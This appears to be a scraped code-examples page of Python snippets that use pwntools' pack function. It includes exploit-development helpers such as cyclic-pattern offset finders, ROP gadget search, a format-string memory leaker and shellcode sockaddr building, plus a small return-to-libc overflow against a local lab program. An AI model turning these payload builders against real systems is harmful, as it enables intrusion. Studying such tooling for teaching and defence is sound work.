Пример #1
0
def cyclic_metasploit_find(subseq, sets=None):
    """cyclic_metasploit_find(subseq, sets = [ string.ascii_uppercase, string.ascii_lowercase, string.digits ]) -> int

    Calculates the position of a substring into a Metasploit Pattern sequence.

    Arguments:
        subseq: The subsequence to look for. This can be a string or an
                integer. If an integer is provided it will be packed as a
                little endian integer.
        sets: List of strings to generate the sequence over.

    Examples:

        >>> cyclic_metasploit_find(cyclic_metasploit(1000)[514:518])
        514
        >>> cyclic_metasploit_find(0x61413161)
        4
    """
    sets = sets or [
        string.ascii_uppercase, string.ascii_lowercase, string.digits
    ]

    if isinstance(subseq, (int, long)):
        subseq = packing.pack(subseq, 'all', 'little', False)

    return _gen_find(subseq, metasploit_pattern(sets))
Пример #2
0
    def struntil(self, v):
        r"""
        Payload for stuff till 'v' where 'v' is a structure member. This payload includes 'v' as well.

        Arguments:
            v(string)
                The name of the field uptil which the payload should be created.

        Example:

            Payload for data uptil _IO_buf_end

            >>> context.clear(arch='amd64')
            >>> fileStr = FileStructure(0xdeadbeef)
            >>> payload = fileStr.struntil("_IO_buf_end")
            >>> payload
            b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
        """
        if v not in self.vars_:
            return b''
        structure = b''
        for val in self.vars_:
            if isinstance(self.__getattr__(val), bytes):
                structure += self.__getattr__(val).ljust(
                    context.bytes, b'\x00')
            else:
                structure += pack(self.__getattr__(val), self.length[val] * 8)
            if val == v:
                break
        return structure[:-1]
Пример #3
0
 def __str__(self):
     frame = ""
     with context.local(arch=self.arch):
         for register_offset in sorted(self.register_offsets):
             if len(frame) < register_offset:
                 frame += "\x00"*(register_offset - len(frame))
             frame += pack(self[self.registers[register_offset]])
     return frame
Пример #4
0
 def __bytes__(self):
     frame = b""
     with context.local(arch=self.arch):
         for register_offset in sorted(self.register_offsets):
             if len(frame) < register_offset:
                 frame += b"\x00" * (register_offset - len(frame))
             frame += pack(self[self.registers[register_offset]])
     return frame
Пример #5
0
 def signed_inner(*args):
     args = [
         unpack(x, 'all', endianness='little', sign=True)
         if n not in skipargs else x for n, x in enumerate(args)
     ]
     ret = func(*args)
     return ret if skipret else pack(
         ret, 'all', endianness='little', sign=True)
Пример #6
0
 def unsigned_inner(*args):
     # unpack the argumts as unsigned (unless they are ignored)
     args = [
         unpack(x, 'all', endianness='little', sign=False)
         if n not in skipargs else x for n, x in enumerate(args)
     ]
     ret = func(*args)
     return ret if skipret else pack(ret, 'all', endianness='little')
Пример #7
0
 def __bytes__(self):
     structure = b''
     for val in self.vars_:
         if isinstance(self.__getattr__(val), bytes):
             structure += self.__getattr__(val).ljust(context.bytes, b'\x00')
         else:
             structure += pack(self.__getattr__(val), self.length[val]*8)
     return structure
Пример #8
0
def main():
    args = parser.parse_args()
    alphabet = args.alphabet
    subsize = args.length

    if args.lookup:
        pat = args.lookup

        if pat.startswith('0x'):
            pat = packing.pack(int(pat[2:], 16), subsize * 8, 'little',
                               'unsigned')
        elif pat.isdigit():
            pat = packing.pack(int(pat, 10), subsize * 8, 'little', 'unsigned')

        if len(pat) != 4:
            log.critical('Subpattern must be 4 bytes')
            sys.exit(1)

        if not all(c in alphabet for c in pat):
            log.critical(
                'Pattern contains characters not present in the alphabet')
            sys.exit(1)

        offset = cyclic.cyclic_find(pat, alphabet, subsize)

        if offset == -1:
            log.critical('Given pattern does not exist in cyclic pattern')
            sys.exit(1)
        else:
            print offset
    else:
        want = args.count
        result = cyclic.cyclic(want, alphabet, subsize)
        got = len(result)
        if got < want:
            log.failure("Alphabet too small (max length = %i)" % got)

        sys.stdout.write(result)

        if sys.stdout.isatty():
            sys.stdout.write('\n')
Пример #9
0
    def find_offset(self):
        marker = cyclic(20)
        for off in range(1, 1000):
            leak = self.leak_stack(off, marker)
            leak = pack(leak)

            pad = cyclic_find(leak)
            if pad >= 0 and pad < 20:
                return off, pad
        else:
            log.error("Could not find offset to format string on stack")
            return None, None
Пример #10
0
    def _exec_conditional_assignment(self, stmt):
        left = stmt.left.name
        rigth = stmt.right
        conditions = stmt.conditions
        if left not in self.variables:
            self.log.warning(
                f"Variable {left} initialized in conditional statement. Defaulting it to 0."
            )
            self.variables[left] = pack(0, "all")

        if all(self._eval_condition(x) for x in conditions):
            self.variables[left] = self._eval_expression(rigth)
Пример #11
0
def render_body(context, value, **pageargs):
    __M_caller = context.caller_stack._push_frame()
    try:
        __M_locals = __M_dict_builtin(pageargs=pageargs, value=value)
        int = context.get('int', UNDEFINED)
        isinstance = context.get('isinstance', UNDEFINED)
        repr = context.get('repr', UNDEFINED)
        long = context.get('long', UNDEFINED)
        __M_writer = context.writer()
        from pwnlib.util import packing

        __M_locals_builtin_stored = __M_locals_builtin()
        __M_locals.update(
            __M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key])
                              for __M_key in ['packing']
                              if __M_key in __M_locals_builtin_stored]))
        __M_writer(u'\n')
        from pwnlib.shellcraft import amd64

        __M_locals_builtin_stored = __M_locals_builtin()
        __M_locals.update(
            __M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key])
                              for __M_key in ['amd64']
                              if __M_key in __M_locals_builtin_stored]))
        __M_writer(u'\n')
        import re

        __M_locals_builtin_stored = __M_locals_builtin()
        __M_locals.update(
            __M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key])
                              for __M_key in ['re']
                              if __M_key in __M_locals_builtin_stored]))
        __M_writer(u'\n')
        __M_writer(u'\n')
        __M_writer(u'\n\n')
        if isinstance(value, (int, long)):
            __M_writer(u'    /* push ')
            __M_writer(unicode(repr(value)))
            __M_writer(u' */\n    ')
            __M_writer(
                unicode(
                    re.sub(
                        r'^\s*/.*\n', '',
                        amd64.pushstr(packing.pack(value, 64, 'little', True),
                                      False), 1)))
            __M_writer(u'\n')
        else:
            __M_writer(u'    push ')
            __M_writer(unicode(value))
            __M_writer(u'\n')
        return ''
    finally:
        context.caller_stack._pop_frame()
Пример #12
0
def main():
    args = parser.parse_args()
    alphabet = args.alphabet
    subsize  = args.length

    if args.lookup:
        pat = args.lookup

        if pat.startswith('0x'):
            pat = packing.pack(int(pat[2:], 16), subsize*8, 'little', False)
        elif pat.isdigit():
            pat = packing.pack(int(pat, 10), subsize*8, 'little', False)

        if len(pat) != subsize:
            log.critical('Subpattern must be %d bytes' % subsize)
            sys.exit(1)

        if not all(c in alphabet for c in pat):
            log.critical('Pattern contains characters not present in the alphabet')
            sys.exit(1)

        offset = cyclic.cyclic_find(pat, alphabet, subsize)

        if offset == -1:
            log.critical('Given pattern does not exist in cyclic pattern')
            sys.exit(1)
        else:
            print offset
    else:
        want   = args.count
        result = cyclic.cyclic(want, alphabet, subsize)
        got    = len(result)
        if got < want:
            log.failure("Alphabet too small (max length = %i)" % got)

        sys.stdout.write(result)

        if sys.stdout.isatty():
            sys.stdout.write('\n')
Пример #13
0
 def __str__(self):
     pword = lambda x : pack(x, self.word, 'little', False)
     payload = pword(self.prev_size)
     if self.size == -1:
         assert self.norm_size >= 0
         self.size = self.setBit(self.norm_size, 0, self.P)
         self.size = self.setBit(self.size, 1, self.M)
         self.size = self.setBit(self.size, 2, self.A)
         
     payload += pword(self.size)
     payload += pword(self.fd) + pword(self.bk)
     payload += pword(self.fd_nextsize) + pword(self.bk_nextsize)
     self.size = -1
     return payload
Пример #14
0
 def padding(self, **kwargs):
     if len(kwargs) > 1:
         raise ValueError("[-] Only one argument is allowed\n")
     try:
         self.__padding = cyclic_metasploit(kwargs["length"])
     except KeyError:
         try:
             target_ = pack(kwargs["match"])
             match_ = cyclic_metasploit_find(target_, n=len(target_))
             print(f"[+] Found pattern {target_} at index {match_}\n")
             self.__padding = cyclic_metasploit(match_)
         except KeyError:
             raise ValueError(
                 "[-] Only 'match' and 'length' are acceptable arguments\n")
     print(f"[+] Padding => {self.__padding}\n")
Пример #15
0
    def cksum(data):
        """cksum(data) -> int

        Calculates the same checksum as returned by the UNIX-tool ``cksum``.

        Arguments:
            data(str): The data to checksum.

        Example:
            >>> print(cksum(b'123456789'))
            930766865
        """

        l = len(data)
        data += packing.pack(l, 'all', endian='little', sign=False)
        return crc.crc_32_cksum(data)
Пример #16
0
    def cksum(data):
        """cksum(data) -> int

        Calculates the same checksum as returned by the UNIX-tool ``cksum``.

        Arguments:
            data(str): The data to checksum.

        Example:
            >>> print cksum('123456789')
            930766865
        """

        l = len(data)
        data += packing.pack(l, 'all', endian='little', sign=False)
        return crc.crc_32_posix(data)
Пример #17
0
    def search_iter(self, move=None, regs=None):
        """
        Iterate through all gadgets which move the stack pointer by
        *at least* ``move`` bytes, and which allow you to set all
        registers in ``regs``.
        """
        move = move or 0
        regs = set(regs or ())

        for addr, gadget in self.gadgets.items():
            addr_bytes = set(pack(gadget.address))
            if addr_bytes & self._badchars: continue
            if gadget.insns[-1] != 'ret': continue
            if gadget.move < move: continue
            if not (regs <= set(gadget.regs)): continue
            yield gadget
Пример #18
0
def main():
    # payload = ""
    padChar2 = b"\x90"
    padSize = 32
    # Initial payload

    hello = "\nHello, world!\n\n"  # We are using putchar function from libc
    # as example to chain multiple function calls/gadgets
    # For each character in our phrase, there is putchar call
    payload = padChar2 * padSize
    for char in hello:  # Generate payload for printing 'Hello, world!'
        # payload += p32(libc_entry + offset_putchar)  # function p32 changes

        payload += p32(libc_entry + offset_putchar)
        # memoryaddress to correct format (reversed and opcoded)

        # whattodo after = pop/ret gadget
        payload += p32(libc_entry + offset_pr)

        # pwntools function pack, is packing our input to 32-bit memory
        # address with correct syntax. Ord is changing character to ASCII code
        payload += pack(
            ord(char),
            32,
            'little',  # function arguments
            False).replace(b"\x00", b"\xff")
        # Replacing nulls with '\xff', which are generated in by packing to
        #  fullfil 32-bit size

    payload += p32(libc_entry + offset_pr)
    payload += p32(0xffffffff)  # Some address, we do not care, we are exiting
    # so value does not matter.
    payload += p32(libc_entry + offset_exit)

    # Writing payload to txt file just in case,
    # if we want to run program without script
    f = open("payload.txt", "w+")
    f.write(str(payload))
    f.close

    # C program is using payload as args
    try:
        p = process(["../vuln_progs/Overflow", payload])
        log.info(p.recvall(timeout=0.5))
    except PwnlibException:
        print("Nulls in arguments.")
Пример #19
0
def cyclic_find(subseq, alphabet=string.ascii_lowercase, n=None):
    """cyclic_find(subseq, alphabet = string.ascii_lowercase, n = None) -> int

    Calculates the position of a substring into a De Bruijn sequence.

    .. todo:

       "Calculates" is an overstatement. It simply traverses the list.

       There exists better algorithms for this, but they depend on generating
       the De Bruijn sequence in another fashion. Somebody should look at it:

       https://www.sciencedirect.com/science/article/pii/S0012365X00001175

    Arguments:
        subseq: The subsequence to look for. This can be a string, a list or an
                integer. If an integer is provided it will be packed as a
                little endian integer.
        alphabet: List or string to generate the sequence over.
        n(int): The length of subsequences that should be unique.


    Examples:

        >>> cyclic_find(cyclic(1000)[514:518])
        514
        >>> cyclic_find(0x61616162)
        4
    """
    if isinstance(subseq, (int, long)):
        width = 'all' if n is None else n * 8
        subseq = packing.pack(subseq, width, 'little', False)

    if n is None and len(subseq) != 4:
        log.warn_once("cyclic_find() expects 4-byte subsequences by default, you gave %r\n" % subseq \
            + "Unless you specified cyclic(..., n=%i), you probably just want the first 4 bytes.\n" % len(subseq) \
            + "Truncating the data at 4 bytes.  Specify cyclic_find(..., n=%i) to override this." % len(subseq))
        subseq = subseq[:4]

    if any(c not in alphabet for c in subseq):
        return -1

    n = n or len(subseq)

    return _gen_find(subseq, de_bruijn(alphabet, n))
Пример #20
0
def cyclic_find(subseq, alphabet = string.ascii_lowercase, n = None):
    """cyclic_find(subseq, alphabet = string.ascii_lowercase, n = None) -> int

    Calculates the position of a substring into a De Bruijn sequence.

    .. todo:

       "Calculates" is an overstatement. It simply traverses the list.

       There exists better algorithms for this, but they depend on generating
       the De Bruijn sequence in another fashion. Somebody should look at it:

       https://www.sciencedirect.com/science/article/pii/S0012365X00001175

    Arguments:
        subseq: The subsequence to look for. This can be a string, a list or an
                integer. If an integer is provided it will be packed as a
                little endian integer.
        alphabet: List or string to generate the sequence over.
        n(int): The length of subsequences that should be unique.


    Examples:

        >>> cyclic_find(cyclic(1000)[514:518])
        514
        >>> cyclic_find(0x61616162)
        4
    """
    if isinstance(subseq, (int, long)):
        width = 'all' if n is None else n * 8
        subseq = packing.pack(subseq, width, 'little', False)

    if n is None and len(subseq) != 4:
        log.warn_once("cyclic_find() expects 4-byte subsequences by default, you gave %r\n" % subseq \
            + "Unless you specified cyclic(..., n=%i), you probably just want the first 4 bytes.\n" % len(subseq) \
            + "Truncating the data at 4 bytes.  Specify cyclic_find(..., n=%i) to override this." % len(subseq))
        subseq = subseq[:4]

    if any(c not in alphabet for c in subseq):
        return -1

    n = n or len(subseq)

    return _gen_find(subseq, de_bruijn(alphabet, n))
Пример #21
0
 def offset(self, **kwargs):
     try:
         length_ = kwargs['length']
         self.__offset = bytes(length_ * 'x', self.__encoding)
     except KeyError:
         try:
             target_ = kwargs['match']
             if type(target_) == 'int':
                 target_ = pack(target_)
             elif type(target_) == 'str':
                 target_ = bytes(target_, self.__encoding)
             length_ = cyclic_find(target_, n=len(target_)) - len(
                 self.__padding) - len(self.__eip)
             self.__offset = bytes(length_ * 'x', self.__encoding)
             print(f"[+] Offset => {self.__offset}\n")
         except KeyError:
             raise ValueError(
                 "[-] Only 'length' and 'match' are valid arguments\n")
Пример #22
0
def xor_pair(data, avoid=b'\x00\n'):
    """xor_pair(data, avoid = '\\x00\\n') -> None or (str, str)

    Finds two strings that will xor into a given string, while only
    using a given alphabet.

    Arguments:
        data (str): The desired string.
        avoid: The list of disallowed characters. Defaults to nulls and newlines.

    Returns:
        Two strings which will xor to the given string. If no such two strings exist, then None is returned.

    Example:

        >>> xor_pair(b"test")
        (b'\\x01\\x01\\x01\\x01', b'udru')
    """

    if isinstance(data, six.integer_types):
        data = packing.pack(data)

    if not isinstance(avoid, (bytes, bytearray)):
        avoid = avoid.encode('utf-8')

    avoid = bytearray(avoid)
    alphabet = list(packing._p8lu(n) for n in range(256) if n not in avoid)

    res1 = b''
    res2 = b''

    for c1 in bytearray(data):
        if context.randomize:
            random.shuffle(alphabet)
        for c2 in alphabet:
            c3 = packing._p8lu(c1 ^ packing.u8(c2))
            if c3 in alphabet:
                res1 += c2
                res2 += c3
                break
        else:
            return None

    return res1, res2
Пример #23
0
def main():
    # payload = ""
    padChar2 = "\x90"
    padSize = 32
    # Initial payload

    hello = "\nHello, world!\n\n"  # We are using putchar function from libc
    # as example to chain multiple function calls/gadgets
    # For each character in our phrase, there is putchar call
    payload = padChar2 * padSize
    for char in hello:  # Generate payload for printing 'Hello, world!'
        # payload += p32(libc_entry + offset_putchar)  # function p32 changes
        payload += p32(libc_entry + offset_putchar)
        # memoryaddress to correct format (reversed and opcoded)

        # whattodo after = pop/ret gadget
        payload += p32(libc_entry + offset_pr)

        # pwntools function pack, is packing our input to 32-bit memory
        # address with correct syntax. Ord is changing character to ASCII code
        payload += pack(ord(char), 32, 'little',  # function arguments
                        False).replace("\x00", "\xff")
        # Replacing nulls with '\xff', which are generated in by packing to
        #  fullfil 32-bit size

    payload += p32(libc_entry + offset_pr)
    payload += p32(0xffffffff)  # Some address, we do not care, we are exiting
    # so value does not matter.
    payload += p32(libc_entry + offset_exit)

    # Writing payload to txt file just in case,
    # if we want to run program without script
    f = open("payload.txt", "w+")
    f.write(payload)
    f.close

    # C program is using payload as args
    try:
        p = process(["../vuln_progs/Overflow", payload])
        log.info(p.recvall(timeout=0.5))
    except PwnlibException:
        print("Nulls in arguments.")
Пример #24
0
def cyclic_metasploit_find(subseq, length=20280, n=None, sets=None):
    """cyclic_metasploit_find(subseq, length, n = None, sets = [ string.ascii_uppercase, string.ascii_lowercase, string.digits ]) -> int

    Calculates the position of a substring into a Metasploit Pattern sequence.

    Arguments:
        subseq: The subsequence to look for. This can be a string or an
                integer. If an integer is provided it will be packed as a
                little endian integer.
        length(int): The lenght of the pattern to find unuque sequence over
        n(int): The length of subsequences that should be unique.
        sets: List of strings to generate the sequence over.

    Examples:

        >>> cyclic_metasploit_find(cyclic_metasploit(Aa0A))
        514
        >>> cyclic_metasploit_find("Aa0A",50000)
        [*] Offset found at: 0
        [*] Offset found at: 20280
        [*] Offset found at: 40560
    """
    sets = sets or [
        string.ascii_uppercase, string.ascii_lowercase, string.digits
    ]

    if isinstance(subseq, (int, long)):
        subseq = packing.pack(subseq, 'all', 'little', False)

    if n is None and len(subseq) != 4:
        log.warn_once("cyclic_find() expects 4-byte subsequences by default, you gave %r\n" % subseq \
            + "Unless you specified cyclic(..., n=%i), you probably just want the first 4 bytes.\n" % len(subseq) \
            + "Truncating the data at 4 bytes.  Specify cyclic_find(..., n=%i) to override this." % len(subseq))
        subseq = subseq[:4]

    offsets_found = _gen_find_metasploit(subseq, length,
                                         metasploit_pattern(sets))

    for offset in offsets_found:
        log.info("Offset found at: %s" % (offset))

    return offsets_found
Пример #25
0
    def _leaker(self, addr):
        # Hack: elfheaders often start at offset 0 in a page,
        # but we often can't leak addresses containing null bytes,
        # and the page below elfheaders is often not mapped.
        # Thus the solution to this problem is to check if the next 3 bytes are
        # "ELF" and if so we lie and leak "\x7f"
        # unless it is leaked otherwise.
        if addr & 0xfff == 0 and self.leaker._leak(addr + 1, 3,
                                                   False) == b"ELF":
            return b"\x7f"

        fmtstr = randoms(self.padlen).encode() + pack(
            addr) + b"START%%%d$sEND" % self.offset

        leak = self.execute_fmt(fmtstr)
        leak = re.findall(br"START(.*)END", leak, re.MULTILINE | re.DOTALL)[0]

        leak += b"\x00"

        return leak
Пример #26
0
def xor_pair(data, avoid='\x00\n'):
    """xor_pair(data, avoid = '\\x00\\n') -> None or (str, str)

    Finds two strings that will xor into a given string, while only
    using a given alphabet.

    Arguments:
        data (str): The desired string.
        avoid: The list of disallowed characters. Defaults to nulls and newlines.

    Returns:
        Two strings which will xor to the given string. If no such two strings exist, then None is returned.

    Example:

        >>> xor_pair("test")
        ('\\x01\\x01\\x01\\x01', 'udru')
    """

    if isinstance(data, (int, long)):
        data = packing.pack(data)

    alphabet = list(chr(n) for n in range(256) if chr(n) not in avoid)

    res1 = ''
    res2 = ''

    for c1 in data:
        if context.randomize:
            random.shuffle(alphabet)
        for c2 in alphabet:
            c3 = chr(ord(c1) ^ ord(c2))
            if c3 in alphabet:
                res1 += c2
                res2 += c3
                break
        else:
            return None

    return res1, res2
Пример #27
0
def xor_pair(data, avoid = '\x00\n'):
    """xor_pair(data, avoid = '\\x00\\n') -> None or (str, str)

    Finds two strings that will xor into a given string, while only
    using a given alphabet.

    Arguments:
        data (str): The desired string.
        avoid: The list of disallowed characters. Defaults to nulls and newlines.

    Returns:
        Two strings which will xor to the given string. If no such two strings exist, then None is returned.

    Example:

        >>> xor_pair("test")
        ('\\x01\\x01\\x01\\x01', 'udru')
    """

    if isinstance(data, (int, long)):
        data = packing.pack(data)

    alphabet = list(chr(n) for n in range(256) if chr(n) not in avoid)

    res1 = ''
    res2 = ''

    for c1 in data:
        if context.randomize:
            random.shuffle(alphabet)
        for c2 in alphabet:
            c3 = chr(ord(c1) ^ ord(c2))
            if c3 in alphabet:
                res1 += c2
                res2 += c3
                break
        else:
            return None

    return res1, res2
Пример #28
0
def sockaddr(host, port, network='ipv4'):
    """sockaddr(host, port, network = 'ipv4') -> (data, length, family)

    Creates a sockaddr_in or sockaddr_in6 memory buffer for use in shellcode.

    Arguments:
      host (str): Either an IP address or a hostname to be looked up.
      port (int): TCP/UDP port.
      network (str): Either 'ipv4' or 'ipv6'.

    Returns:
      A tuple containing the sockaddr buffer, length, and the address family.
    """
    address_family = {'ipv4': socket.AF_INET, 'ipv6': socket.AF_INET6}[network]

    for family, _, _, _, ip in socket.getaddrinfo(host, None, address_family):
        ip = ip[0]
        if family == address_family:
            break
    else:
        log.error("Could not find %s address for %r" % (network, host))

    info = socket.getaddrinfo(host, None, address_family)
    host = socket.inet_pton(address_family, ip)
    sockaddr = p16(address_family)
    sockaddr += pack(
        port, word_size=16,
        endianness='big')  #Port should be big endian = network byte order
    length = 0

    if network == 'ipv4':
        sockaddr += host
        length = 16  # Save ten bytes by skipping two 'push 0'
    else:
        sockaddr += p32(0xffffffff)  # Save three bytes 'push -1' vs 'push 0'
        sockaddr += host
        length = len(sockaddr) + 4  # Save five bytes 'push 0'
    return (sockaddr, length, getattr(address_family, "name", address_family))
Пример #29
0
def cyclic_metasploit_find(subseq, sets = None):
    """cyclic_metasploit_find(subseq, sets = [ string.ascii_uppercase, string.ascii_lowercase, string.digits ]) -> int

    Calculates the position of a substring into a Metasploit Pattern sequence.

    Arguments:
        subseq: The subsequence to look for. This can be a string or an
                integer. If an integer is provided it will be packed as a
                little endian integer.
        sets: List of strings to generate the sequence over.

    Examples:

        >>> cyclic_metasploit_find(cyclic_metasploit(1000)[514:518])
        514
        >>> cyclic_metasploit_find(0x61413161)
        4
    """
    sets = sets or [ string.ascii_uppercase, string.ascii_lowercase, string.digits ]

    if isinstance(subseq, (int, long)):
        subseq = packing.pack(subseq, 'all', 'little', False)

    return _gen_find(subseq, metasploit_pattern(sets))
Пример #30
0
    def field_compare(self, address, obj, expected):
        """field_compare(address, field, expected) ==> bool

        Leak a field from a structure, with an expected value.
        As soon as any mismatch is found, stop leaking the structure.

        Arguments:
            address(int): Base address to calculate offsets from
            field(obj):   Instance of a ctypes field
            expected(int,str): Expected value

        Return Value:
            The type of the return value will be dictated by
            the type of ``field``.
        """
        if not isinstance(expected, (int, str)):
            raise TypeError("Expected value must be an int or str")

        if isinstance(expected, int):
            expected = pack(expected, bytes=obj.size)

        assert obj.size == len(expected)

        return self.compare(address + obj.offset, expected)
Пример #31
0
    def __load(self):
        """Load all ROP gadgets for the selected ELF files"""
        #
        # We accept only instructions that look like these.
        #
        # - leave
        # - pop reg
        # - add $sp, value
        # - ret
        #
        # Currently, ROPgadget does not detect multi-byte "C2" ret.
        # https://github.com/JonathanSalwan/ROPgadget/issues/53
        #

        pop = re.compile(r'^pop (.{3})')
        add = re.compile(r'^add [er]sp, (\S+)$')
        ret = re.compile(r'^ret$')
        leave = re.compile(r'^leave$')
        int80 = re.compile(r'int +0x80')
        syscall = re.compile(r'^syscall$')
        sysenter = re.compile(r'^sysenter$')

        #
        # Validation routine
        #
        # >>> valid('pop eax')
        # True
        # >>> valid('add rax, 0x24')
        # False
        # >>> valid('add esp, 0x24')
        # True
        #
        valid = lambda insn: any(
            map(lambda pattern: pattern.match(insn),
                [pop, add, ret, leave, int80, syscall, sysenter]))

        #
        # Currently, ropgadget.args.Args() doesn't take any arguments, and pulls
        # only from sys.argv.  Preserve it through this call.  We also
        # monkey-patch sys.stdout to suppress output from ropgadget.
        #
        argv = sys.argv
        stdout = sys.stdout

        class Wrapper:
            def __init__(self, fd):
                self._fd = fd

            def write(self, s):
                pass

            def __getattr__(self, k):
                return self._fd.__getattribute__(k)

        gadgets = {}
        for elf in self.elfs:
            cache = self.__cache_load(elf)
            if cache:
                gadgets.update(cache)
                continue
            log.info_once('Loading gadgets for %r' % elf.path)
            try:
                sys.stdout = Wrapper(sys.stdout)
                import ropgadget
                sys.argv = [
                    'ropgadget', '--binary', elf.path, '--only',
                    'sysenter|syscall|int|add|pop|leave|ret', '--nojop'
                ]
                args = ropgadget.args.Args().getArgs()
                core = ropgadget.core.Core(args)
                core.do_binary(elf.path)
                core.do_load(0)
            finally:
                sys.argv = argv
                sys.stdout = stdout

            elf_gadgets = {}
            for gadget in core._Core__gadgets:
                address = gadget['vaddr'] - elf.load_addr + elf.address
                insns = [g.strip() for g in gadget['gadget'].split(';')]
                if all(map(valid, insns)):
                    elf_gadgets[address] = insns

            self.__cache_save(elf, elf_gadgets)
            gadgets.update(elf_gadgets)

        #
        # For each gadget we decided to keep, find out how much it moves the stack,
        # and log which registers it modifies.
        #
        self.gadgets = {}
        self.pivots = {}
        frame_regs = {4: ['ebp', 'esp'], 8: ['rbp', 'rsp']}[context.bytes]

        for addr, insns in gadgets.items():

            # Filter out gadgets by address against badchars
            if set(pack(addr)) & self._badchars:
                continue

            sp_move = 0
            regs = []
            for insn in insns:
                if pop.match(insn):
                    regs.append(pop.match(insn).group(1))
                    sp_move += context.bytes
                elif add.match(insn):
                    sp_move += int(add.match(insn).group(1), 16)
                elif ret.match(insn):
                    sp_move += context.bytes
                elif leave.match(insn):
                    #
                    # HACK: Since this modifies ESP directly, this should
                    #       never be returned as a 'normal' ROP gadget that
                    #       simply 'increments' the stack.
                    #
                    #       As such, the 'move' is set to a very large value,
                    #       to prevent .search() from returning it unless $sp
                    #       is specified as a register.
                    #
                    sp_move += 9999999999
                    regs += frame_regs

            # Permit duplicates, because blacklisting bytes in the gadget
            # addresses may result in us needing the dupes.
            self.gadgets[addr] = Gadget(addr, insns, regs, sp_move)

            # Don't use 'pop esp' for pivots
            if not set(['rsp', 'esp']) & set(regs):
                self.pivots[sp_move] = addr

        leave = self.search(regs=frame_regs, order='regs')
        if leave and leave.regs != frame_regs:
            leave = None
        self.leave = leave
Пример #32
0
    def pack(self, address, data, *a, **kw):    return self.write(address, packing.pack(data, *a, **kw))

    def u64(self,    address, *a, **kw):        return packing.u64(self.read(address, 8), *a, **kw)
Пример #33
0
 def okay(self, s, *a, **kw):
     if isinstance(s, int):
         s = packing.pack(s, *a, **kw)
     return '\0' not in s and '\n' not in s
Пример #34
0
    def _parse_stack(self):
        # Get a copy of the stack mapping
        stack = self.stack

        if not stack:
            return

        # AT_EXECFN is the start of the filename, e.g. '/bin/sh'
        # Immediately preceding is a NULL-terminated environment variable string.
        # We want to find the beginning of it
        if self.at_execfn:
            address = self.at_execfn-1
        else:
            log.debug('No AT_EXECFN')
            address = stack.stop
            address -= 2*self.bytes
            address -= 1
            address = stack.rfind('\x00', None, address)
            address += 1

        # Sanity check!
        try:
            assert stack[address] == '\x00'
        except AssertionError:
            # Something weird is happening.  Just don't touch it.
            log.debug("Something is weird")
            return
        except ValueError:
            # If the stack is not actually present in the coredump, we can't
            # read from the stack.  This will fail as:
            # ValueError: 'seek out of range'
            log.debug("ValueError")
            return

        # address is currently set to the NULL terminator of the last
        # environment variable.
        address = stack.rfind('\x00', None, address)

        # We've found the beginning of the last environment variable.
        # We should be able to search up the stack for the envp[] array to
        # find a pointer to this address, followed by a NULL.
        last_env_addr = address + 1
        p_last_env_addr = stack.find(pack(last_env_addr), None, last_env_addr)

        # Sanity check that we did correctly find the envp NULL terminator.
        envp_nullterm = p_last_env_addr+context.bytes
        assert self.unpack(envp_nullterm) == 0

        # We've successfully located the end of the envp[] array.
        #
        # It comes immediately after the argv[] array, which itself
        # is NULL-terminated.
        #
        # Now let's find the end of argv
        p_end_of_argv = stack.rfind(pack(0), None, p_last_env_addr)

        start_of_envp = p_end_of_argv + self.bytes

        # Now we can fill in the environment
        env_pointer_data = stack[start_of_envp:p_last_env_addr+self.bytes]
        for pointer in unpack_many(env_pointer_data):
            end = stack.find('=', last_env_addr)

            if pointer in stack and end in stack:
                name = stack[pointer:end]
                self.env[name] = pointer

        # May as well grab the arguments off the stack as well.
        # argc comes immediately before argv[0] on the stack, but
        # we don't know what argc is.
        #
        # It is unlikely that argc is a valid stack address.
        address = p_end_of_argv - self.bytes
        while self.unpack(address) in stack:
            address -= self.bytes

        # address now points at argc
        self.argc = self.unpack(address)

        # we can extract all of the arguments as well
        self.argv = unpack_many(stack[address + self.bytes: p_end_of_argv])
Пример #35
0
    def _parse_stack(self):
        # Get a copy of the stack mapping
        stack = self.stack

        if not stack:
            return

        # AT_EXECFN is the start of the filename, e.g. '/bin/sh'
        # Immediately preceding is a NULL-terminated environment variable string.
        # We want to find the beginning of it
        if self.at_execfn:
            address = self.at_execfn - 1
        else:
            log.debug('No AT_EXECFN')
            address = stack.stop
            address -= 2 * self.bytes
            address -= 1
            address = stack.rfind('\x00', None, address)
            address += 1

        # Sanity check!
        try:
            assert stack[address] == '\x00'
        except AssertionError:
            # Something weird is happening.  Just don't touch it.
            log.debug("Something is weird")
            return
        except ValueError:
            # If the stack is not actually present in the coredump, we can't
            # read from the stack.  This will fail as:
            # ValueError: 'seek out of range'
            log.debug("ValueError")
            return

        # address is currently set to the NULL terminator of the last
        # environment variable.
        address = stack.rfind('\x00', None, address)

        # We've found the beginning of the last environment variable.
        # We should be able to search up the stack for the envp[] array to
        # find a pointer to this address, followed by a NULL.
        last_env_addr = address + 1
        p_last_env_addr = stack.find(pack(last_env_addr), None, last_env_addr)
        if p_last_env_addr < 0:
            # Something weird is happening.  Just don't touch it.
            log.warn_once("Found bad environment at %#x", last_env_addr)
            return

        # Sanity check that we did correctly find the envp NULL terminator.
        envp_nullterm = p_last_env_addr + context.bytes
        assert self.unpack(envp_nullterm) == 0

        # We've successfully located the end of the envp[] array.
        #
        # It comes immediately after the argv[] array, which itself
        # is NULL-terminated.
        #
        # Now let's find the end of argv
        p_end_of_argv = stack.rfind(pack(0), None, p_last_env_addr)

        start_of_envp = p_end_of_argv + self.bytes

        # Now we can fill in the environment
        env_pointer_data = stack[start_of_envp:p_last_env_addr + self.bytes]
        for pointer in unpack_many(env_pointer_data):

            # If the stack is corrupted, the pointer will be outside of
            # the stack.
            if pointer not in stack:
                continue

            try:
                name_value = self.string(pointer)
            except Exception:
                continue

            name, value = name_value.split('=', 1)

            # "end" points at the byte after the null terminator
            end = pointer + len(name_value) + 1

            # Do not mark things as environment variables if they point
            # outside of the stack itself, or we had to cross into a different
